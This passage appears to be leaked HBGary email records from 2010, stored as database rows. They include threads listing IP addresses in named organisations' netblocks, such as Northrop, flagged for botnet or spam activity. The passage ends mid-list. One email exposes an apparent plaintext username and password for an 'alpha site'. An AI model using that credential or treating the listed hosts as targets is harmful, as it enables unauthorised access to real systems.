Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 12:02 PM\r\nTo: Eifert, Eric J.\r\nSubject: Next week Discussion\r\n\r\nHi Eric,\r\n\r\nHow does your next week look?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9382,'aaron_hbgary_com/9382.html'),(7051,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005134.M376601P14101Q1906.eml','\"Mark Trynor\" <mark@hbgary.com>','pic','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9656,'aaron_hbgary_com/9656.html'),(7052,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005134.M790987P14101Q1907.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Re: EndGame Query','So here is the thought process. &nbsp;I would love your input. &nbsp;We are going to work with EGS to modify the confidence values. &nbsp;Currently it is based on a decay weight and a few other factors, at one point that box was compromised, but since it happened in the past the % confidence that it is still compromised drops.With a combination of the EGS, Fidelis, and AD products. &nbsp;Prior to an engagement you do a query of the netblock for an organization so you go into the organization with some prior knowledge, maybe do a little open source research and nmap work to add to your starting knowledge. &nbsp;You can take the information you gain and populate some rules inside the fidelis and AD appliances to target historically known bad systems. &nbsp;At the same time your doing your normal search and discovery efforts.quick and dirty, but want to get your thoughts.AAronOn Jun 4, 2010, at 10:43 AM, Phil Wallisch wrote:Thanks for running this guys.&nbsp; I\'m not sure what I would do with it though.&nbsp; One big issue for CERT teams like this one is that it has to really be worth my time to chase something down.&nbsp; We have gigs and gigs of logs every day.&nbsp; These look like low confidence SPAM incidents.&nbsp; We\'d have to go to the firewall, proxy, mailserver, then the end-node.&nbsp; I think in order for it to be useful it would need to be very timely, like an IDS alert.&nbsp; It\'s easier to search recent logs than archived logs etc.&nbsp; Also what am I searching for here?&nbsp; I see no domain names, suspected trojan families, dest. IPs.\r\nOn Wed, Jun 2, 2010 at 12:14 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Phil,\r\n\r\nBelow are the results of the query and the IPs we searched for, which\r\nwe pulled directly out of ARIN -- if you have other netblocks you\'d\r\nlike us to search please let me know:\r\n\r\nIP : 199.89.73.222\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Jan 20 14:59:00 2009 GMT\r\n\r\nIP : 199.89.93.160\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Mar &nbsp;6 16:59:00 2009 GMT\r\n\r\nIP : 199.89.95.143\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Mar 23 08:59:00 2009 GMT\r\n\r\nIP : 199.89.111.246\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Jan 16 07:59:00 2009 GMT\r\n\r\nIP : 199.89.114.2\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Thu Sep 24 05:59:00 2009 GMT\r\n\r\nIP : 199.89.117.127\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 199.89.120.38\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Jan &nbsp;9 16:59:00 2009 GMT\r\n\r\nIP : 138.20.81.212\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Feb 24 16:59:00 2009 GMT\r\n\r\nIP : 138.20.150.221\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Thu Feb &nbsp;5 01:59:00 2009 GMT\r\n\r\nIP : 138.20.192.235\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Feb &nbsp;6 23:59:00 2009 GMT\r\n\r\nIP : 138.20.242.214\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Feb &nbsp;9 14:59:00 2009 GMT\r\n\r\nIP : 144.14.14.168\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Wed Mar 18 17:59:00 2009 GMT\r\n\r\nIP : 144.14.23.118\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Feb &nbsp;7 01:59:00 2009 GMT\r\n\r\nIP : 144.14.112.192\r\nConfidence : 21.726545%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Jan &nbsp;8 18:59:00 2010 GMT\r\n\r\nIP : 144.14.118.159\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Mar 21 10:59:00 2009 GMT\r\n\r\nIP : 144.14.136.11\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Mar 16 23:59:00 2009 GMT\r\n\r\nIP : 144.14.169.194\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 144.14.178.88\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 144.14.221.130\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Thu Feb 26 08:59:00 2009 GMT\r\n\r\nIP : 144.14.225.17\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Mar &nbsp;2 01:59:00 2009 GMT\r\n\r\nIP : 161.144.25.111\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Mar 10 12:59:00 2009 GMT\r\n\r\nIP : 161.144.26.16\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Tue Feb 10 09:59:00 2009 GMT\r\n\r\nIP : 161.144.32.139\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Mar 16 12:59:00 2009 GMT\r\n\r\nIP : 161.144.41.172\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Thu Feb &nbsp;5 03:59:00 2009 GMT\r\n\r\nIP : 161.144.43.149\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 161.144.47.191\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Feb 13 19:59:00 2009 GMT\r\n\r\nIP : 161.144.124.154\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Wed Mar 18 22:59:00 2009 GMT\r\n\r\nIP : 161.144.126.183\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sun Mar 22 02:59:00 2009 GMT\r\n\r\nIP : 161.144.156.89\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 161.144.156.96\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 161.144.225.163\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Mar &nbsp;7 09:59:00 2009 GMT\r\n\r\nIP : 161.144.228.228\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Mar &nbsp;6 18:59:00 2009 GMT\r\n\r\nIP : 205.228.44.177\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Fri Mar &nbsp;6 22:59:00 2009 GMT\r\n\r\nIP : 205.228.49.222\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Mon Feb 23 09:59:00 2009 GMT\r\n\r\nIP : 205.228.74.213\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sun Mar 15 06:59:00 2009 GMT\r\n\r\nIP : 205.228.118.18\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 192.153.81.206\r\nConfidence : 10%\r\nEvents :\r\n &nbsp; &nbsp; &nbsp; &nbsp;Spam : Wed Mar &nbsp;4 06:59:00 2009 GMT\r\n\r\n12.42.42.0;12.42.42.127\r\n12.3.55.160;12.3.55.191\r\n12.166.104.160;12.166.104.191\r\n12.14.182.128;12.14.182.135\r\n209.202.130.128;209.202.130.255\r\n205.217.13.240;205.217.13.255\r\n65.211.235.200;65.211.235.207\r\n192.150.173.0;192.150.173.255\r\n204.254.196.0;204.254.199.255\r\n192.153.77.0;192.153.77.255\r\n199.5.0.0;199.5.7.255\r\n199.89.64.0;199.89.127.255\r\n138.20.0.0;138.20.255.255\r\n144.14.0.0;144.14.255.255\r\n161.144.0.0;161.144.255.255\r\n205.228.0.0;205.228.127.255\r\n63.120.20.0;63.120.20.255\r\n192.153.78.0;192.153.78.255\r\n192.153.79.0;192.153.79.255\r\n192.153.80.0;192.153.80.255\r\n192.153.81.0;192.153.81.255\r\n192.153.82.0;192.153.82.255\r\n192.153.83.0;192.153.83.255\r\n192.153.84.0;192.153.84.255\r\n192.153.85.0;192.153.85.255\r\n192.153.86.0;192.153.86.255\r\n4.18.192.160;4.18.192.175\r\n216.91.1.128;216.91.1.255\r\n209.223.197.16;209.223.197.31\r\n204.215.153.96;204.215.153.103\r\n216.210.172.192;216.210.172.199\r\n65.65.75.144;65.65.75.159\r\n207.213.110.80;207.213.110.87\r\n208.217.77.0;208.217.77.255\r\n68.252.139.32;68.252.139.39\r\n209.191.132.64;209.191.132.95\r\n64.74.62.192;64.74.62.223\r\n75.150.121.240;75.150.121.247\r\n76.203.102.112;76.203.102.119\r\n67.39.249.104;67.39.249.111\r\n65.69.134.176;65.69.134.183\r\n63.100.97.208;63.100.97.215\r\n65.242.168.128;65.242.168.255\r\n65.222.138.160;65.222.138.175\r\n24.38.44.48;24.38.44.55\r\n99.152.236.152;99.152.236.159\r\n\r\n--\r\nTed\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1952,'aaron_hbgary_com/1952.html'),(7053,'2010-06-04','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297005135.M376560P14101Q1909.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','alpha site','greg:H0gRu!z\r\n',6342,'aaron_hbgary_com/6342.html'),(7054,'2010-06-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005135.M668833P14101Q1910.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Have you seen this?','It is Maria\'s, and yes she saw it.\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 10:54 AM\r\nTo: Greg Hoglund; Penny Leavy; Bob Slapnik\r\nSubject: Have you seen this?\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=a7696af665aa4a29f85a867\r\n70991b63d&tab=core&_cview=0\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2913 - Release Date: 06/04/10\r\n02:25:00\r\n\r\n',2376,'aaron_hbgary_com/2376.html'),(7055,'2010-06-04','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297005135.M81507P14101Q1908.eml','aaron@hbgary.com','Mil-Gov Career Transition Seminar - Jun 14, 6pm, Doubletree Crystal City','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Jun \r\n        14 (Mon) - Mil/Gov Career Transition Seminar &amp; Dinner\r\n        Successfully \r\n        Transitioning from Active to Retired (STAR)\r\n      The \r\n        STAR Program is AFCEA NOVA\'s seminar series for Military/Government employees \r\n        that are in the process of career transition. This after-work event is \r\n        for our uniformed and government members who are either retiring or leaving \r\n        government service for the civilian sector in the next 12-18 months, and \r\n        is intended to build upon the information provided by the Government Transition \r\n        Assistance Programs. The event will offer attendees the opportunity to \r\n        gain insights and lessons learned from others who have successfully made \r\n        the transition. It also offers networking opportunities with program managers, \r\n        hiring managers, and staffing professionals.\r\n       \r\n        Pre-registration is Necessary, as dinner will \r\n        be served.\r\n      Individual \r\n        Attendees, Register Online Now&nbsp;(Individual Registration \r\n        Open only to transitioning gov/mil employees)\r\n      Sponsor \r\n        a Table at the Seminar\r\n      \r\n      \r\n         \r\n          SPEAKERS\r\n            \r\n              Diane \r\n                Bellegarde (USA Veteran)\r\n                Vice President of Operations, Worldwide Information Network Systems \r\n                (WINS) \r\n            \r\n            \r\n              COL \r\n                Dave Scarbalis (USA, Ret)\r\n                Vice President, DoD Accounts, SNVC\r\n            \r\n            \r\n               \r\n                LTC Mike Perez (USA, Ret)\r\n                BAE\r\n                \r\n              Mr. \r\n                Stephen Matthews (USMC, Ret)\r\n                Lead Multi-Discipline Systems Engineer, MITRE\r\n            \r\n            \r\n              Additional \r\n                Speakers announced shortly\r\n            \r\n\r\n\r\nCorporate Sponsors:\r\n\r\n\r\n\r\n\r\n\r\n\r\n             WHY \r\n              ATTEND THE STAR CAREER TRANSITION EVENT?\r\n            Are \r\n              you preparing to retire or transition from uniformed service/federal \r\n              government? Looking for the right position for the next phase of \r\n              our life?\r\n            \r\n               \r\n                Hear from seasoned professionals who recently went through the \r\n                same transition -- they\'ll share what worked, and what challenges \r\n                they faced\r\n              Hear \r\n                from industry executives on what they value -- in employees, on \r\n                resumes, in interviews\r\n              Hear \r\n                the things you should know about the job hunting process, but \r\n                no one has bothered to tell you\r\n               \r\n                Hear information on how to find out about open positions -- opportunities \r\n                available now and in the near future\r\n              Share \r\n                resumes and business cards with decision makers and hiring managers \r\n                from our Event Sponsors\r\n            \r\n            SPONSORSHIP \r\n              &amp; BENEFITS - Corporate Table Sponsor - $350\r\n            \r\n               \r\n                 \r\n                Table sponsorship = 2 attendees from your company &amp; up to \r\n                8 government guests or VIPs placed randomly by AFCEA NOVA\r\n              Logo \r\n                on event website\r\n               \r\n                Logo on event marketing emails\r\n               \r\n                Logo on event program\r\n               \r\n                Great networking with peers and officers in the career transition \r\n                market\r\n              Dinner \r\n                included\r\n              Register \r\n                to Sponsor a Table at the Seminar\r\n            \r\n             Details\r\n            WHEN:\r\n              Monday, \r\n              June 14, 2010\r\n              6:00pm - 9:00pm - Networking &amp; Cocktails, Panel Program &amp; \r\n              Dinner\r\n            \r\n              WHERE:\r\n              Windows Over Washington Restaurant\r\n              Doubletree Hotel, Crystal City\r\n              300 Army Navy Dr., Arlington, VA 22202\r\n              (One floor below the Skydome Lounge &quot;spinning&quot; bar, with \r\n              the same breathtaking view)\r\n             COST:\r\n            \r\n               \r\n                Transitioning Government / Military -- $20\r\n              Industry \r\n                Sponsor -- included as part of your sponsorship (but \r\n                we do need you to pre-register online) \r\n            \r\n            REGISTRATION:\r\n            Individual \r\n              Attendees, Register Online Now&nbsp;(Individual Registration \r\n              Open only to transitioning gov/mil employees &amp; employees of \r\n              table sponsors)\r\n            Sponsor \r\n              a Table at the Seminar\r\n            It \r\n              is not necessary to be a member of AFCEA to attend the Mil/Gov Career \r\n              Transition Seminar... But once you come to an event, we think you\'ll \r\n              want to join us! \r\n              \r\n        \r\n         \r\n          &nbsp;\r\n        \r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                \r\n                    \r\n                    June Monthly Lunch w/ John Garing, Dir, Strategic Planning \r\n                    &amp; Information, DISA\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Mil/Gov Career Transition Seminar &amp; Dinner\r\n                  Doubtree \r\n                    Crystal City,\r\n                    Jun 14 (Mon), 2010\r\n                    \r\n                     \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Family Day &amp; Special Aviation Fly-In at the Smithsonian \r\n                    Udvar-Hazy Center\r\n                  Smithsonian \r\n                    Air &amp; Space Museum, Udvar-Hazy Ctr, Dulles, VA,\r\n                    Jun 19 (Sat), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                     NEW DATE: Small Business Breakfast - DISA \r\n                    GIG Enterprise Services (GES)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 22 (Tue), 2010\r\n                    \r\n                  \r\n                    \r\n              \r\n               \r\n                 \r\n                    \r\n                      \r\n                      2nd Annual \r\n                      Warfighter Support AGENCIES IT DAY\r\n                      (formerly Combat Support IT Day)\r\n                    Sheraton \r\n                      Premiere Tysons Corner,\r\n                      Jul 15 (Thu), 2010\r\n                      \r\n                      \r\n                  \r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',3293,'aaron_hbgary_com/3293.html'),(7056,'2010-06-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005135.M966183P14101Q1911.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: IP Query Results','Ted,\r\n\r\nCool. Please convert them into a customer for HBGary products or services.\r\n\r\nBob Slapnik  \r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 04, 2010 11:00 AM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik\r\nCc: Barr Aaron\r\nSubject: Fwd: IP Query Results\r\n\r\nWe had an impromtu meeting with the TASC security architect and\r\nprovided a brief demo including querying Northrop hosts found in the\r\nEndGames database, results below:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Jun 4, 2010 at 8:48 AM\r\nSubject: IP Query Results\r\nTo: Barr Aaron , \"Winterfeld, Steven P (TASC Inc)\"\r\n, David Lirette \r\n\r\n\r\nSteve / Dave\r\n\r\nBelow are the results from our brief demo yesterday.  Listed first are\r\nthe Northrop IP addresses that have been linked to botnet activities,\r\nfollowed by a complete listing of the Northrop netblocks (per ARIN\r\nrecords) we queried against the EndGame database:\r\n\r\nIP : 12.48.17.62\r\nConfidence : 10%\r\nEvents :\r\n       Conficker A/B : Fri Aug 14 12:44:47 2009 GMT\r\n       Spam : Wed Mar 25 07:59:00 2009 GMT\r\n\r\nIP : 157.127.26.187\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 16:59:00 2009 GMT\r\n\r\nIP : 157.127.30.93\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 157.127.62.193\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 27 01:59:00 2009 GMT\r\n\r\nIP : 157.127.63.67\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 157.127.69.88\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 27 04:59:00 2009 GMT\r\n\r\nIP : 157.127.84.210\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Jan  2 11:59:00 2009 GMT\r\n\r\nIP : 157.127.84.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 18 20:59:00 2009 GMT\r\n\r\nIP : 157.127.101.187\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar  5 22:59:00 2009 GMT\r\n\r\nIP : 157.127.101.198\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 13 09:59:00 2009 GMT\r\n\r\nIP : 157.127.114.172\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 157.127.134.108\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 10:59:00 2009 GMT\r\n\r\nIP : 157.127.150.183\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 157.127.155.214\r\nConfidence : 35.152796%\r\nEvents :\r\n       Zeus : Tue Mar  2 00:38:26 2010 GMT\r\n\r\nIP : 157.127.172.248\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  9 14:59:00 2009 GMT\r\n\r\nIP : 157.127.195.108\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 157.127.195.127\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 157.127.203.218\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 11:59:00 2009 GMT\r\n\r\nIP : 157.127.229.95\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.223.35.149\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 11 13:59:00 2009 GMT\r\n\r\nIP : 134.223.46.22\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 134.223.46.123\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 134.223.74.16\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 14:59:00 2009 GMT\r\n\r\nIP : 134.223.82.192\r\nConfidence : 24.031133%\r\nEvents :\r\n       Spam : Mon Jan 18 16:59:00 2010 GMT\r\n\r\nIP : 134.223.99.187\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 17:59:00 2009 GMT\r\n\r\nIP : 134.223.114.177\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 134.223.150.38\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 14 06:59:00 2009 GMT\r\n\r\nIP : 134.223.157.87\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar 12 00:59:00 2009 GMT\r\n\r\nIP : 134.223.168.212\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 23 06:59:00 2009 GMT\r\n\r\nIP : 134.223.188.179\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 134.223.204.114\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 07:59:00 2009 GMT\r\n\r\nIP : 134.223.210.166\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Feb 24 03:59:00 2009 GMT\r\n\r\nIP : 134.223.214.47\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 155.104.37.18\r\nConfidence : 10%\r\nEvents :\r\n       Bobax : Wed Jul 22 18:59:00 2009 GMT\r\n\r\nIP : 155.104.108.227\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 155.104.117.79\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 14 22:59:00 2009 GMT\r\n\r\nIP : 155.104.143.204\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 00:59:00 2009 GMT\r\n\r\nIP : 155.104.149.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 08:59:00 2009 GMT\r\n\r\nIP : 155.104.169.216\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 155.104.186.69\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 00:59:00 2009 GMT\r\n\r\nIP : 155.104.195.120\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 10 02:59:00 2009 GMT\r\n\r\nIP : 155.104.253.160\r\nConfidence : 10%\r\nEvents :\r\n       Conficker C : Mon Nov 23 18:31:05 2009 GMT\r\n       Conficker A/B : Wed Apr  1 13:45:22 2009 GMT\r\n\r\nIP : 134.77.62.31\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.77.154.194\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 134.77.199.29\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 134.77.203.242\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 134.77.214.197\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Feb 10 07:59:00 2009 GMT\r\n\r\nIP : 134.77.254.98\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Jan 14 06:59:00 2009 GMT\r\n\r\nIP : 132.228.4.253\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 09:59:00 2009 GMT\r\n\r\nIP : 132.228.28.219\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Jan 11 18:59:00 2009 GMT\r\n\r\nIP : 132.228.40.120\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 07:59:00 2009 GMT\r\n\r\nIP : 132.228.47.162\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 17 21:59:00 2009 GMT\r\n\r\nIP : 132.228.61.127\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 22 12:59:00 2009 GMT\r\n\r\nIP : 132.228.85.231\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Jan 26 08:59:00 2009 GMT\r\n\r\nIP : 132.228.97.130\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 18 21:59:00 2009 GMT\r\n\r\nIP : 132.228.99.229\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 132.228.100.98\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar  4 23:59:00 2009 GMT\r\n\r\nIP : 132.228.111.117\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 10 18:59:00 2009 GMT\r\n\r\nIP : 132.228.115.77\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Jan 19 05:59:00 2009 GMT\r\n\r\nIP : 132.228.156.248\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  9 11:59:00 2009 GMT\r\n\r\nIP : 132.228.157.141\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 21 18:59:00 2009 GMT\r\n\r\nIP : 132.228.167.144\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 02:59:00 2009 GMT\r\n\r\nIP : 132.228.178.113\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb 16 07:59:00 2009 GMT\r\n\r\nIP : 132.228.181.94\r\nConfidence : 10%\r\nEvents :\r\n       